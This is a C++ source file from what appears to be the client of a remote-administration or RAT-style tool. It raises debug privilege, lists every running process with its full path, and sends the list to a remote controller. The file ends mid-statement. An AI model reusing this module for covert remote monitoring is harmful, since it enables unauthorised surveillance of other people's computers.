// SystemManager.cpp: implementation of the CSystemManager class. // ////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "SystemManager.h" #include "Common.h" #include using namespace std; #include #include #pragma comment(lib,"psapi.lib") enum { COMMAND_WINDOW_CLOSE, //关闭窗口 COMMAND_WINDOW_TEST, //操作窗口 }; ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow):CManager(ClientObject) { if (bHow==COMMAND_SYSTEM) { //进程 SendProcessList(); } else if (bHow==COMMAND_WSLIST) { //窗口 SendWindowsList(); } } VOID CSystemManager::SendProcessList() { LPBYTE szBuffer = GetProcessList(); //得到进程列表的数据 if (szBuffer == NULL) return; m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); LocalFree(szBuffer); szBuffer = NULL; } void CSystemManager::SendWindowsList() { LPBYTE szBuffer = GetWindowsList(); //得到窗口列表的数据 if (szBuffer == NULL) return; m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); //向主控端发送得到的缓冲区一会就返回了 LocalFree(szBuffer); } LPBYTE CSystemManager::GetProcessList() { DebugPrivilege(SE_DEBUG_NAME,TRUE); //提取权限 HANDLE hProcess = NULL; HANDLE hSnapshot = NULL; PROCESSENTRY32 pe32 = {0}; pe32.dwSize = sizeof(PROCESSENTRY32); char szProcessFullPath[MAX_PATH] = {0}; hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); DWORD dwOffset = 0; DWORD dwLength = 0; DWORD cbNeeded = 0; HMODULE hModules = NULL; //进程中第一个模块的句柄 LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //暂时分配一下缓冲区 szBuffer[0] = TOKEN_PSLIST; //注意这个是数据头 dwOffset = 1; if(Process32First(hSnapshot, &pe32)) //得到第一个进程顺便判断一下系统快照是否成功 { do { //打开进程并返回句柄 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID); //打开目标进程 // if ((pe32.th32ProcessID !=0) && // (pe32.th32ProcessID !=4)) { //枚举第一个模块句柄也就是当前进程完整路径 EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded); //得到自身的完整名称 DWORD dwReturn = GetModuleFileNameEx(hProcess, hModules, szProcessFullPath, sizeof(szProcessFullPath)); if (dwReturn==0) { strcpy(szProcessFullPath,""); } //开始计算占用的缓冲区, 我们关心他的发送的数据结构 // 此进程占用数据大小 dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(szProcessFullPath) + 2; // 缓冲区太小,再重新分配下 if (LocalSize(szBuffer) < (dwOffset + dwLength)) szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE); //接下来三个memcpy就是向缓冲区里存放数据 数据结构是 //进程ID+进程名+0+进程完整名+0 进程 //因为字符数据是以0 结尾的 memcpy(szBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD)); dwOffset += sizeof(DWORD); memcpy(szBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1); dwOffset += lstrlen(pe32.szExeFile) + 1; memcpy(szBuffer + dwOffset, szProcessFullPath, lstrlen(szProcessFullPath) + 1); dwOffset += lstrlen(szProcessFullPath) + 1; } } while(Process32Next(hSnapshot, &pe32)); //继续得到下一个快照 } DebugPrivilege(SE_DEBUG_NAME,FALSE); //还原提权 CloseHandle(hSnapshot); //释放句柄 return szBuffer; } CSystemManager::~CSystemManager() { cout<<"系统析构"<